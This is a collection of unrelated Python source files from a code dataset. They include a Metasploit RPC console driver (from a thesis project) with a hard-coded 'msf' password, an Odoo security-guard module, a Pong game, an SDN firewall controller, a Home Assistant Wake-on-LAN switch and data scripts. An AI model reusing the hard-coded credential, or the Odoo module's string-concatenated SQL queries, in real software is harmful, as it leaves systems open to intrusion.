logger\nLOG_SIZE = 40\n\n# Password per la connessione a MSFRPC\nMSF_PASSWD = \"msf\"\n\n# Variabili riguardanti il time-management per\n# l'interfacciamento dei sistemi.\nSLEEP_TIME = 0.75\nSLEEP_BEFORE_EXITING_TIME = SLEEP_TIME * 15\n\n# Percorso dove il programma viene eseguito\nPATH = getcwd() + r\"/\"\n\n# Regex e Pattern per il filtering degli ID di OpenVAS\nID_REGEX = r\"^[0-9a-f]{8}-([0-9a-f]{4}-){3}[0-9a-f]{12}\"\nPATTERN = compile(ID_REGEX)\n\n# Parser degli argomenti in input e relativi parametri inseriti\nparser = get_parser()\nargs = vars(parser.parse_args())\n\n# Controllo dell'impostazione di debug\nDEBUG = args[\"debug\"]\n\n# Acquisizione dei parametri inseriti in input\nparam_list = check_input_parameters(args)\nreturn_value, control = check_parameters_list(param_list)\n\n# Controllo dei parametri inseriti in input\nif return_value == -1 or return_value == 0 or return_value is False:\n print(control, file=stderr)\n exit(-1)\nif return_value == -2:\n print(control, file=stderr)\nif not check_parameters_pairing(param_list):\n print(\"You didn't supply all the needed arguments for\\\n the command. Use --help.\", file=stderr)\n exit(-2)\n\n# Inizializzazione console\nconsole = init_console(MSF_PASSWD)\n\n# Controllo della corretta inizializzazione della console\nif not console:\n print(\"Error initializing console.\", file=stderr)\n exit(-3)\n\n# OUTPUT_FILE = PATH + args[\"output\"]\n\n# Se tra gli argomenti c'è un'operazione riguardante il listing:\nif any(args[x] for x in set(args.keys())\n .intersection(Parameters.LIST_COMMANDS.value)):\n to_print = []\n for k, v in args.items():\n\n # Per ognuna di esse, aggiungi alla lista delle stampe\n if v and \"list\" in k:\n to_print.append(k)\n\n # Controllo su un eventuale fallimento della stampa\n if not print_lists(console, to_print):\n print(f\"Error in function: {print_lists.__name__}\", file=stderr)\n\n# Se tra gli argomenti c'è un'operazione riguardante un'azione da compiere:\nif any(args[x] for x in set(args.keys())\n .intersection(Parameters.ACTION_COMMANDS.value)):\n\n # Ottieni la funzione da eseguire e i relativi argomenti da\n # i parametri in input\n function, args = get_action(args)\n\n # Controllo su un eventuale fallimento della funzione\n if not function(console, args):\n print(f\"Error in function: {function.__name__}\", file=stderr)\n\n# Tempo di Timeout\nsleep(SLEEP_BEFORE_EXITING_TIME)\n\n# Terminazione dell'esecuzione del programma\nexit_successfully(console)\n","repo_name":"Omnicrist/thesis-support","sub_path":"interact.py","file_name":"interact.py","file_ext":"py","file_size_in_byte":13275,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"6027494631","text":"from turtle import Turtle, Screen\r\nfrom paddle import Paddle\r\nfrom ball import Ball\r\nimport time\r\nfrom score import Score\r\nsc = Screen()\r\nsc.setup(800,600)\r\nsc.bgcolor(\"black\")\r\nsc.title(\"Pong Game\")\r\nsc.tracer(0)\r\n\r\nR_pad = Paddle((380, 0))\r\nL_pad = Paddle((-380, 0))\r\nball = Ball()\r\nscore = Score()\r\n\r\nsc.listen()\r\nsc.onkey(R_pad.up,\"Up\")\r\nsc.onkey(R_pad.down,\"Down\")\r\nsc.onkey(L_pad.up,\"w\")\r\nsc.onkey(L_pad.down,\"s\")\r\n\r\n\r\ngame_is_on = True\r\nflag = True\r\nwhile game_is_on:\r\n time.sleep(0.05)\r\n sc.update()\r\n ball.move()\r\n if ball.ycor() > 280 or ball.ycor() < -280:\r\n ball.bounceY()\r\n if (ball.distance(R_pad) < 60 and ball.xcor() > 350):\r\n ball.bounceX()\r\n if (ball.distance(L_pad) < 60 and ball.xcor() < -350):\r\n ball.bounceX()\r\n\r\n if ball.xcor() > 390:\r\n ball.bounceX()\r\n ball.resetPos()\r\n score.new_PointL()\r\n\r\n if ball.xcor() < -390:\r\n ball.resetPos()\r\n ball.bounceX()\r\n score.new_PointR()\r\n if score.pointsL ==10 or score.pointsR ==10:\r\n ball.resetPos()\r\n score.gameover()\r\n game_is_on = False\r\n\r\n\r\n\r\n\r\nsc.exitonclick()","repo_name":"ivMurataya/Pyton","sub_path":"Pong Game/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"5089047880","text":"from openerp.osv import fields, osv\nfrom openerp import api\nfrom datetime import date,datetime,timedelta\nfrom dateutil.relativedelta import *\nimport datetime as dti\n\n\nclass force_details(osv.osv):\n _name = \"force.details\"\n _rec_name = 'force_code'\n _columns = {\n 'force_name': fields.char('Force Name',store=True,required=True),\n 'supervisor': fields.char('Supervisor',store=True,required=True),\n 'contact': fields.char('Contact#1', store=True,size=12),\n 'contact2': fields.char('Contact#2', store=True, size=12),\n 'covered_area': fields.char('Covered Area', store=True, required=True),\n 'force_code': fields.char('Force Code', store=True, required=True),\n # 'designation': fields.selection([('Force Supervisor','Force Supervisor'),\n # ('Force Manager','Force Manager'),\n # ('Force Incharge', 'Force Incharge'),\n # ('Force Checker', 'Force Checker'),\n # ('Account Officer', 'Account Officer')],store=True,string='Designation')\n }\n\n\nclass guard_details(osv.osv):\n _name = \"guard.details\"\n _rec_name = 'guard_name'\n _columns = {\n 'guard_name': fields.char('Guard Name',store=True,required=True),\n 'nic': fields.char('NIC',store=True,required=True),\n 'contact': fields.char('Contact', store=True, required=True,size=12),\n 'address': fields.char('Address', store=True, required=True),\n 'force_details': fields.many2one('force.details', 'Force Name',store=True,track_visibility='onchange'),\n }\n\n\nclass response_time(osv.osv):\n _name = \"response.time\"\n _columns = {\n 'customer': fields.many2one('bank.customers','Customer',store=True),\n 'name': fields.related('customer', 'name', type='char', store=True, string='Name'),\n 'address': fields.related('customer', 'street1', type='char', store=True, string='Address'),\n 'branch_code': fields.related('customer', 'branch_code', type='char', store=True, string='CS'),\n 'force_name': fields.char('Force Name',store=True,track_visibility='onchange'),\n 'dispatch_time': fields.datetime('Dispatch', store=True),\n 'reach_time': fields.datetime('Reach', store=True),\n 'minutes': fields.char('Minutes', store=True, compute='time_diff'),\n 'move': fields.datetime('Move', store=True),\n 'remarks': fields.char('Remarks',store=True),\n 'cms': fields.char('Responsible',store=True),\n 'shift_time': fields.char('Shift',store=True)\n }\n\n @api.depends('dispatch_time','reach_time')\n def time_diff(self):\n if self.dispatch_time and self.reach_time:\n # set the date and time format\n date_format = \"%Y-%m-%d %H:%M:%S\"\n # convert string to actual date and time\n dispatch = datetime.strptime(self.dispatch_time, date_format)\n reach = datetime.strptime(self.reach_time, date_format)\n # find the difference between two dates\n diff = reach - dispatch\n self.minutes = diff\n self.shift_assign()\n\n\n def shift_assign(self):\n self.env.cr.execute(\"select * from response_time where shift_time is null and reach_time is not null\")\n all_visit = self.env.cr.dictfetchall()\n if len(all_visit) != 0:\n for v in all_visit:\n dt = (dti.datetime.strptime(str(v['reach_time']), '%Y-%m-%d %H:%M:%S')+timedelta(hours=5)).time()\n if dt >= dti.time(8,1,0,0) and dt <= dti.time(16,0,59,0):\n self.env.cr.execute(\"UPDATE response_time SET shift_time =\"+\"'\"+\"morning\"+\"'\"+\" WHERE id =\"+\"'\"+str(v['id'])+\"'\")\n elif (dt >= dti.time(16,1,0,0)) and (dt <= dti.time(23,30,59,0)):\n self.env.cr.execute(\"UPDATE response_time SET shift_time =\"+\"'\"+\"evening\"+\"'\"+\" WHERE id =\"+\"'\"+str(v['id'])+\"'\")\n elif ((dt >= dti.time(23,31,0,0) and dt <= dti.time(23,59,59,0))):\n self.env.cr.execute(\"UPDATE response_time SET shift_time =\"+\"'\"+\"night\"+\"'\"+\" WHERE id =\"+\"'\"+str(v['id'])+\"'\")\n elif ((dt >= dti.time(0,0,0,0) and dt <= dti.time(8,0,59,0))):\n self.env.cr.execute(\"UPDATE response_time SET shift_time =\"+\"'\"+\"night\"+\"'\"+\" WHERE id =\"+\"'\"+str(v['id'])+\"'\")\n\n\n\n\n\nclass new_visits(osv.osv):\n _name = \"new.visits\"\n _columns = {\n 'name': fields.char('Customer Name',store=True,track_visibility='onchange'),\n 'cs_number': fields.char('CS Number', store=True),\n 'address': fields.char('Address', store=True),\n 'stages': fields.many2one('new.visits.stages','Stage',store=True),\n 'first_visit':fields.datetime('First Visit',store=True),\n 'second_visit':fields.datetime('Second Visit',store=True),\n 'first_visit_remarks':fields.text('First Visit Remarks',store=True),\n 'second_visit_remarks': fields.text('Second Visit Remarks', store=True),\n }\n\n @api.model\n def show_all_stages(self,present_ids, domain, **kwargs):\n stages = self.env['new.visits.stages'].search([]).name_get()\n return stages, None\n\n _group_by_full = {\n 'stages': show_all_stages,\n }\n\n\nclass new_visits_stages(osv.osv):\n _name = \"new.visits.stages\"\n _columns = {\n 'name': fields.char('Stage Name',store=True,track_visibility='onchange'),\n }\n\nclass bank_customers(osv.osv):\n _name = \"bank.customers\"\n _rec_name = 'cs'\n _columns = {\n 'name': fields.char('Name',store=True,track_visibility='onchange'),\n 'cs': fields.char('CS Number',store=True,track_visibility='onchange'),\n 'bank_coder': fields.char('Bank Code', store=True, track_visibility='onchange'),\n 'branch_code': fields.char('Branch Code', store=True, track_visibility='onchange'),\n 'street1': fields.char('Address', store=True, track_visibility='onchange'),\n 'street2': fields.char('Location', store=True, track_visibility='onchange'),\n 'city': fields.char('City', store=True, track_visibility='onchange'),\n }\n\nclass recovery_visits(osv.osv):\n _name = \"recovery.visits\"\n _columns = {\n 'cs_number': fields.many2one('bank.customers','Customer',store=True),\n 'name': fields.related('cs_number', 'name', type='char', store=True, string='Name'),\n 'force': fields.char('Force', store=True, required=True),\n 'time': fields.datetime('Time', store=True),\n 'status': fields.char('Status', store=True),\n 'recovery_officer': fields.char('Recovery Officer', store=True, required=True)\n }\n","repo_name":"Parkash067/odoo_modules","sub_path":"residential/mutual_force/mutual_force.py","file_name":"mutual_force.py","file_ext":"py","file_size_in_byte":6655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"34437265298","text":"import argparse\nimport base64\nimport json\n\nfrom googleapiclient import discovery\nfrom oauth2client.client import GoogleCredentials\n# Cache\nimport percache\n# [END import_libraries]\n\ncache = percache.Cache(\"./.cloud-vision-cache\")\n\n@cache\ndef main(photo_file):\n \"\"\"Run a label request on a single image\"\"\"\n\n # [START authenticate]\n credentials = GoogleCredentials.get_application_default()\n service = discovery.build('vision', 'v1', credentials=credentials)\n # [END authenticate]\n\n # [START construct_request]\n with open(photo_file, 'rb') as image:\n image_content = base64.b64encode(image.read())\n service_request = service.images().annotate(body={\n 'requests': [{\n 'image': {\n 'content': image_content.decode('UTF-8')\n },\n 'features': [{\n 'type': 'LABEL_DETECTION',\n 'maxResults': 3\n }, {\n 'type': 'FACE_DETECTION',\n 'maxResults': 2,\n }, {\n 'type': 'LANDMARK_DETECTION',\n 'maxResults': 2,\n }, {\n 'type': 'LOGO_DETECTION',\n 'maxResults': 3,\n }, {\n 'type': 'IMAGE_PROPERTIES'\n }, {\n 'type': 'TEXT_DETECTION',\n 'maxResults': 2,\n }]\n }]\n })\n # [END construct_request]\n # [START parse_response]\n response = service_request.execute()\n # for resp in response['responses']:\n # label = resp['labelAnnotations'][0]['description']\n # print('Found label: %s for %s' % (label, photo_file))\n # [END parse_response]\n # print(json.dumps(response, indent=2))\n return response\n\ndef serialize_response(file_name):\n data = main(file_name)\n responses = data['responses'][0]\n relationalized_data = {}\n # print(json.dumps(data, indent=2))\n if 'labelAnnotations' in responses:\n top_3 = '-'.join([label['description'] for label in responses['labelAnnotations']])\n relationalized_data['object_labels'] = top_3\n if 'landmarkAnnotations' in responses:\n top_3 = '-'.join([label['description'] for label in responses['landmarkAnnotations']])\n relationalized_data['landmark'] = top_3\n if 'faceAnnotations' in responses:\n face = responses['faceAnnotations'][0]\n relationalized_data['has_face'] = \"Face Roll: {} Tilt: {} Headwear: {} Confidence: {}\".format(\n face['rollAngle'], face['tiltAngle'], face['headwearLikelihood'], face['detectionConfidence'])\n relationalized_data['emotion'] = \"Joy: {}, Suprise: {}, Sorrow: {}, Anger: {}\".format(\n face['joyLikelihood'], face['surpriseLikelihood'], face['sorrowLikelihood'], face['angerLikelihood'])\n if 'logoAnnotations' in responses:\n top_3 = '-'.join([label['description'] for label in responses['logoAnnotations']])\n relationalized_data['logo'] = top_3\n if 'textAnnotations' in responses:\n top_3 = '-'.join([label['description'] for label in responses['textAnnotations']])\n relationalized_data['text'] = top_3\n return relationalized_data\n\n\n# [START run_application]\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('image_file', help='The image you\\'d like to label.')\n args = parser.parse_args()\n print(json.dumps(serialize_response(args.image_file), indent=2))\n# [END run_application]","repo_name":"Sumukh/rodeo","sub_path":"src/models/cloudvision.py","file_name":"cloudvision.py","file_ext":"py","file_size_in_byte":3579,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"31061312515","text":"\n\nfrom ..utils import Object\n\n\nclass GetCallbackQueryAnswer(Object):\n \"\"\"\n Sends a callback query to a bot and returns an answer. Returns an error with code 502 if the bot fails to answer the query before the query timeout expires \n\n Attributes:\n ID (:obj:`str`): ``GetCallbackQueryAnswer``\n\n Args:\n chat_id (:obj:`int`):\n Identifier of the chat with the message \n message_id (:obj:`int`):\n Identifier of the message from which the query originated \n payload (:class:`telegram.api.types.CallbackQueryPayload`):\n Query payload\n\n Returns:\n CallbackQueryAnswer\n\n Raises:\n :class:`telegram.Error`\n \"\"\"\n ID = \"getCallbackQueryAnswer\"\n\n def __init__(self, chat_id, message_id, payload, extra=None, **kwargs):\n self.extra = extra\n self.chat_id = chat_id # int\n self.message_id = message_id # int\n self.payload = payload # CallbackQueryPayload\n\n @staticmethod\n def read(q: dict, *args) -> \"GetCallbackQueryAnswer\":\n chat_id = q.get('chat_id')\n message_id = q.get('message_id')\n payload = Object.read(q.get('payload'))\n return GetCallbackQueryAnswer(chat_id, message_id, payload)\n","repo_name":"iTeam-co/pytglib","sub_path":"pytglib/api/functions/get_callback_query_answer.py","file_name":"get_callback_query_answer.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"36"} +{"seq_id":"44606016593","text":"import os\nimport subprocess\n\nfrom pox.core import core\nfrom pox.lib.util import dpid_to_str\nimport pox.openflow.libopenflow_01 as of\n\n# pox components\nfrom pox.forwarding.l2_learning import LearningSwitch\nfrom firewall.firewall import FirewallSwitch\nfrom loadBalancer.lb import load_balancer\n\n# logger\nlogger = core.getLogger()\n\n# CONSTANTS\nswitches = [1, 2, 3, 4]\nfirewall_1 = 5\nfirewall_2 = 6\nloadbalancer = [80]\nids = 7\nnapt = 8\nfw1_policyfile = os.path.join(os.getcwd(), \"ext/firewall/fw1_policies.conf\")\nfw2_policyfile = os.path.join(os.getcwd(), \"ext/firewall/fw2_policies.conf\")\n\n\nclass FirewallController():\n def __init__(self):\n core.openflow.addListeners(self)\n\n def _handle_ConnectionUp(self, event):\n # logger.debug(\"Switch has come up [%s, %s]\" % (event.connection.dpid, dpid_to_str(event.dpid)))\n if event.dpid in switches:\n logger.debug(\"Registering l2 learning switch module for switch %s\" % (event.dpid))\n LearningSwitch(event.connection, transparent=False)\n elif event.dpid == firewall_1:\n logger.debug(\"Initializing firewall 1 on switch %s\" % (event.dpid))\n FirewallSwitch(event.connection, policy_file=fw1_policyfile, stateful=False)\n elif event.dpid == firewall_2:\n logger.debug(\"Initializing firewall 2 on switch %s\" % (event.dpid))\n FirewallSwitch(event.connection, policy_file=fw2_policyfile, stateful=True)\n #elif event.dpid == loadbalancer:\n # logger.debug(\"Initializing load balancer on switch %s\" % (event.dpid))\n # load_balancer(event.connection)\n elif event.dpid == ids:\n logger.debug(\"Initializing IDS on switch %s\" % (event.dpid))\n subprocess.Popen([\"sudo\", \"click\", \"../nfv/ids.click\", \"in_intf=sw7-eth1\", \"out_intf=sw7-eth2\", \"insp_intf=sw7-eth3\"])\n elif event.dpid == napt:\n logger.debug(\"Initializing NAPT on switch %s\" % (event.dpid))\n subprocess.Popen([\"sudo\", \"click\", \"../nfv/napt.click\", \"ext_if=sw8-eth1\", \"int_if=sw8-eth2\"])\n else:\n logger.debug(\"Unknown switch dpid %s\" % (event.dpid))\n\ndef launch():\n core.registerNew(FirewallController)\n core.registerNew(click_device,loadbalancer)\n","repo_name":"vigvigneshps1995/IK2220-SDN-NFV-Firewall","sub_path":"ik2220-assign-phase2-team2/application/sdn/ext/POXController.py","file_name":"POXController.py","file_ext":"py","file_size_in_byte":2244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"5156749800","text":"\"\"\"Support for Assisted Power-On-LAN.\"\"\"\n# pylint: disable=unused-argument\nfrom __future__ import annotations\n\nimport logging\nimport subprocess as sp\nfrom datetime import datetime\nfrom typing import Any\n\nimport voluptuous as vol\nimport wakeonlan\n\nfrom homeassistant.components.switch import (\n PLATFORM_SCHEMA as PARENT_PLATFORM_SCHEMA,\n SwitchEntity,\n)\nfrom homeassistant.const import (\n CONF_BROADCAST_ADDRESS,\n CONF_BROADCAST_PORT,\n CONF_HOST,\n CONF_MAC,\n CONF_NAME,\n)\nfrom homeassistant.core import HomeAssistant\nimport homeassistant.helpers.config_validation as cv\nfrom homeassistant.helpers import device_registry as dr\nfrom homeassistant.helpers.entity_platform import AddEntitiesCallback\nfrom homeassistant.helpers.aiohttp_client import async_get_clientsession\nfrom homeassistant.helpers.typing import ConfigType, DiscoveryInfoType\n\n_LOGGER = logging.getLogger(__name__)\n\nDEFAULT_NAME = \"Assisted PoL\"\nDEFAULT_PING_TIMEOUT = 1\n\nPLATFORM_SCHEMA = PARENT_PLATFORM_SCHEMA.extend(\n {\n vol.Required(CONF_MAC): cv.string,\n vol.Optional(CONF_BROADCAST_ADDRESS): cv.string,\n vol.Optional(CONF_BROADCAST_PORT): cv.port,\n vol.Optional(CONF_HOST): cv.string,\n vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string,\n }\n)\n\n\ndef setup_platform(\n hass: HomeAssistant,\n config: ConfigType,\n add_entities: AddEntitiesCallback,\n discovery_info: DiscoveryInfoType | None = None,\n) -> None:\n \"\"\"Set up a wake on lan switch.\"\"\"\n if len(config) == 0:\n return\n broadcast_address: str | None = config.get(CONF_BROADCAST_ADDRESS)\n broadcast_port: int | None = config.get(CONF_BROADCAST_PORT)\n host: str | None = config.get(CONF_HOST)\n mac_address: str = config[CONF_MAC]\n name: str = config[CONF_NAME]\n\n add_entities(\n [\n BetterWolSwitch(\n hass,\n name,\n host,\n mac_address,\n broadcast_address,\n broadcast_port,\n )\n ],\n host is not None,\n )\n\n\nclass BetterWolSwitch(SwitchEntity):\n \"\"\"Representation of a wake on lan switch.\"\"\"\n _change_time = None\n\n def __init__(\n self,\n hass: HomeAssistant,\n name: str,\n host: str | None,\n mac_address: str,\n broadcast_address: str | None,\n broadcast_port: int | None,\n ) -> None:\n \"\"\"Initialize the WOL switch.\"\"\"\n self._hass = hass\n self._attr_name = name\n self._host = host\n self._mac_address = mac_address\n self._broadcast_address = broadcast_address\n self._broadcast_port = broadcast_port\n self._state = False\n self._attr_assumed_state = host is None\n self._attr_should_poll = bool(not self._attr_assumed_state)\n self._attr_unique_id = dr.format_mac(mac_address)\n\n @property\n def is_on(self) -> bool:\n \"\"\"Return true if switch is on.\"\"\"\n return self._state\n\n def turn_on(self, **kwargs: Any) -> None:\n \"\"\"Turn the device on.\"\"\"\n service_kwargs: dict[str, Any] = {}\n if self._broadcast_address is not None:\n service_kwargs[\"ip_address\"] = self._broadcast_address\n if self._broadcast_port is not None:\n service_kwargs[\"port\"] = self._broadcast_port\n\n _LOGGER.info(\n \"Send magic packet to mac %s (broadcast: %s, port: %s)\",\n self._mac_address,\n self._broadcast_address,\n self._broadcast_port,\n )\n\n wakeonlan.send_magic_packet(self._mac_address, **service_kwargs)\n self._change_time = datetime.now()\n self._state = True\n self.async_write_ha_state()\n\n\n async def async_turn_off(self, **kwargs: Any) -> None:\n \"\"\"Turn the device off if an off script is present.\"\"\"\n session = async_get_clientsession(self._hass)\n\n await session.post(\n f\"http://{self._host}:1312/pol/sleep\"\n )\n\n self._change_time = datetime.now()\n self._state = False\n\n def update(self) -> None:\n \"\"\"Check if device is on and update the state.\n Only called if assumed state is false.\"\"\"\n if self._change_time is not None:\n diff = datetime.now() - self._change_time\n if diff.total_seconds() < 10:\n return\n ping_cmd = [\n \"ping\",\n \"-c\",\n \"1\",\n \"-W\",\n str(DEFAULT_PING_TIMEOUT),\n str(self._host),\n ]\n\n status = sp.call(ping_cmd, stdout=sp.DEVNULL, stderr=sp.DEVNULL)\n self._state = not bool(status)\n","repo_name":"mishamyrt/assisted_pol","sub_path":"custom_components/assisted_pol/switch.py","file_name":"switch.py","file_ext":"py","file_size_in_byte":4629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"15729103375","text":"import os\nimport torch\nfrom ars2seq2seq.models.multi_attn_seq2seq import MultiHeadSeq2Seq\nfrom ars2seq2seq.models.batched_seq2seq import BatchedSeq2Seq\nfrom ars2seq2seq.models.batched_seq2seq_v2 import BatchedSeq2Seq_v2\nfrom ars2seq2seq.util.dataset import read_pairfile, PairDataset\nfrom ars2seq2seq.util.vocab import Lang\n\nimport argparse\n\nparser = argparse.ArgumentParser(description='')\nparser.add_argument('-data_root', required=True)\nparser.add_argument('-output_name', required=True)\nparser.add_argument('-input_lang', default='eng')\nparser.add_argument('-output_lang', default='cst')\nparser.add_argument('-learning_rate', default=1e-3, type=float)\nparser.add_argument('-debug', default=None)\nparser.add_argument('-max_length', default=1000, type=int)\nparser.add_argument('-batch_size', default=10, type=int)\n\nparser.add_argument('-eval_every', default=1000, type=int)\nparser.add_argument('-save_every', default=10000, type=int)\nparser.add_argument('-sample_every', default=100, type=int)\n\nargs = parser.parse_args()\n\nprint(args)\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\nNUM_HIDDEN=128\nNUM_LAYERS=1\nINITIAL_LEARNING_RATE = args.learning_rate\nDEBUG=args.debug\n\nBATCH_SIZE=args.batch_size\n\nreverse=False\nroot_dir = \"data/\"\nOUTPUT_ROOT = os.path.join(\"output/batched\", args.output_name)\n\nif DEBUG:\n OUTPUT_ROOT = os.path.join(OUTPUT_ROOT, \"debug\")\nelse:\n OUTPUT_ROOT = os.path.join(OUTPUT_ROOT, \"main\")\n\nNORM_ENTITIES=False\n\nmodel_eng_vocab_fpath = os.path.join(OUTPUT_ROOT, \"{}.vocab\".format(args.input_lang))\nmodel_cst_vocab_fpath = os.path.join(OUTPUT_ROOT, \"{}.vocab\".format(args.output_lang))\n\nif os.path.isfile(model_eng_vocab_fpath):\n print(\"Loading existing vocab from {}\".format(model_eng_vocab_fpath))\n eng_lang = Lang(args.input_lang, load_path=model_eng_vocab_fpath)\nelse:\n eng_lang = None\n\nif os.path.isfile(model_cst_vocab_fpath):\n print(\"Loading existing vocab from {}\".format(model_cst_vocab_fpath))\n cst_lang = Lang(args.output_lang, load_path=model_cst_vocab_fpath)\nelse:\n cst_lang = None\n\nTRAIN_FILE = \"{}-{}.train.txt\".format(args.input_lang, args.output_lang)\nVAL_FILE = \"{}-{}.val.txt\".format(args.input_lang, args.output_lang)\nif DEBUG:\n TRAIN_FILE = \"{}-{}.train.debug.txt\".format(args.input_lang, args.output_lang)\n VAL_FILE = \"{}-{}.val.debug.txt\".format(args.input_lang, args.output_lang)\n\neng_lang, cst_lang, train_pairs = read_pairfile(os.path.join(root_dir, TRAIN_FILE), \"eng\", \"cst\",\n root_dir,\n max_length=200,\n lang1=eng_lang, lang2=cst_lang,\n normalize_sal_entities=NORM_ENTITIES,\n reverse=reverse)\neng_lang, cst_lang, val_pairs = read_pairfile(os.path.join(root_dir, VAL_FILE), \"eng\", \"cst\",\n root_dir,\n lang1=eng_lang, lang2=cst_lang,\n normalize_sal_entities=NORM_ENTITIES,\n reverse=reverse)\n# Remove validation pairs alreadyin training pairs\n#print(\"Filtering\")\n#val_pairs = [pair for pair in val_pairs if pair not in train_pairs]\n#print(\"# filtered val={}\".format(len(val_pairs)))\n\nval_pairs = val_pairs[0:args.batch_size] # Filter down\n\ntrain_pair_dataset = PairDataset(eng_lang, cst_lang, train_pairs, device=device)\nval_pair_dataset = PairDataset(eng_lang, cst_lang, val_pairs, device=device)\nprint(\"Train dataset, prevectorizing\")\ntrain_pair_dataset.preload_pairs()\nprint(\"Val dataset, prevectorizing\")\nval_pair_dataset.preload_pairs()\n\nprint(\"Selected device={}\".format(device))\n# seq2seq = MultiHeadSeq2Seq(NUM_HIDDEN, eng_lang, cst_lang,\n# device=device,\n# initial_learning_rate=INITIAL_LEARNING_RATE,\n# output_root=OUTPUT_ROOT,\n# num_layers=NUM_LAYERS)\nseq2seq = BatchedSeq2Seq_v2(NUM_HIDDEN, eng_lang, cst_lang,\n batch_size=BATCH_SIZE,\n device=device,\n initial_learning_rate=INITIAL_LEARNING_RATE,\n output_root=OUTPUT_ROOT,\n num_layers=NUM_LAYERS)\nprint(\"\\nModel instantiated, details=\\n{}\\n\".format(seq2seq))\n\nPROFILING = False\n\nif PROFILING:\n import cProfile\n cProfile.run('seq2seq.train(1000000, train_pair_dataset, val_pair_dataset, profile=True)')\nelse:\n seq2seq.train(1000000, train_pair_dataset, val_pair_dataset,\n eval_every=args.eval_every, sample_every=args.sample_every,\n save_every=args.save_every)\n","repo_name":"SRI-CSL/arsenal-base","sub_path":"seq2seq/src/train_seq2seq_batched.py","file_name":"train_seq2seq_batched.py","file_ext":"py","file_size_in_byte":4747,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"36"} +{"seq_id":"542764962","text":"import serial\r\nimport time\r\nimport requests\r\nimport datetime\r\n\r\n# For recieving form Microbit\r\nser = serial.Serial('COM8', 115200, bytesize=8,parity='N', stopbits=1, timeout=100, rtscts=1)\r\n\r\n# For sending to Erling\r\nheaders = {\r\n 'Synx-Cat': '1',\r\n 'Content-Type': 'application/x-www-form-urlencoded',\r\n }\r\n\r\ni = 0\r\nj = 0\r\nt0 = time.time()\r\nsoundSum = 0\r\nsoundSumCnt = 0\r\nwhile True: \r\n s = ser.readline().decode(\"UTF-8\").strip()\r\n if(s):\r\n print(s)\r\n try:\r\n if s == 'loud':\r\n i += 1\r\n elif s == 'quiet':\r\n j += 1\r\n else:\r\n soundSum += int(s)\r\n soundSumCnt += 1\r\n except:\r\n continue\r\n if time.time()-t0 > 2:\r\n # message = \"loud\" if i>j else \"quiet\"\r\n # print(i/(i+j))\r\n # print(soundSum/(soundSumCnt))\r\n data = {'token':'aToken_36d8715e3531fd8e8c01fcbfd26bf5af1908e14f15014d2d14817b568bc0bb0e',\r\n 'objectID':'2',\r\n 'sender' :'MicrobitGunnar',\r\n 'Loudness' :str(1.2*soundSum/(soundSumCnt*255)),\r\n 'TimeStamp': datetime.datetime.now().strftime(\"%Y/%m/%d, %H:%M:%S\")}\r\n response = requests.post('https://8group.cioty.com/loudnessMonitor', headers=headers, data=data, verify=False)\r\n i = 0\r\n j = 0\r\n soundSum = 0\r\n soundSumCnt = 0\r\n t0 = time.time()","repo_name":"gunnskaa/HackatonNornir2023","sub_path":"mic_sender.py","file_name":"mic_sender.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"19622539531","text":"import sys\n\nn = sys.stdin.readline().split()[0]\n\ncount = 0\n\nwhile(len(n) != 1):\n t = 0\n count += 1\n for i in range(len(n)):\n t += int(n[i])\n n = str(t)\n\nprint(count)\nif(int(n) % 3 == 0 and int(n) < 10):\n print(\"YES\")\nelse:\n print(\"NO\")\n","repo_name":"monegit/algorithm-study","sub_path":"Training-Site/Baekjoon/1/1000/1769/1769.py","file_name":"1769.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"25142922563","text":"# -*- coding: utf-8 -*-\nimport os\nimport urllib.request\nfrom functools import reduce\nimport os\nimport cx_Oracle\nimport sqlalchemy\nfrom sqlalchemy import create_engine\nimport pandas as pd\nimport re\nimport datetime\nimport numpy as np\n#获得重点企业股票代码\ndef get_code(path):\n df = pd.read_excel(path,header =None,names=['name','code','homepage'])\n df = df[df['code'].notnull()] #股票代码非空的记录\n df[['code']]=df[['code']].applymap(lambda x:\"%.0f\" % x)#去掉小数\n df[['code']]=df[['code']].applymap(lambda x:x.rjust(6,'0'))#6位字符串,不足前面补0\n code_list = df['code']\n return(code_list)\n\n\npath=\"E:\\\\1000enterprise_code.xlsx\"\ncode_list=get_code(path)\nd={1:1,2:2,3:3}\nprint(d)\nprint(code_list)\n\n\ndef read_csv_to_dataframe(file_dir_list, reportType_tuple, append_columns, rename_columns):\n print(\"reading ...\")\n df_tup = ([], [], [], [], [])\n for dest_dir in file_dir_list:\n df = pd.read_csv(dest_dir, encoding='gb2312', header=None) # gb2312读中文,header=None不要表头\n if df.shape == (1, 1): continue\n df = df.set_index(df[0]) # 设置索引\n df = df.drop([0], axis=1) # 删除\n df1 = df.T # 转置\n df1 = df1.dropna() # 删掉空值\n df1 = df1.replace('--', np.nan) # 原始的“--”符号替换成空值\n df1 = df1.set_index(np.arange(len(df1))) # 重设索引\n\n ##增加字段\n df1['企业名称'] = np.nan\n df1['统一信用代码'] = np.nan\n\n pattern1 = \"\\\\d+\" # 匹配股票代码\n matchObj1 = re.search(re.compile(pattern1), dest_dir)\n df1['股票代码'] = matchObj1.group()\n\n pattern2 = \"(?<=_)[a-z]+(?=_)\" # 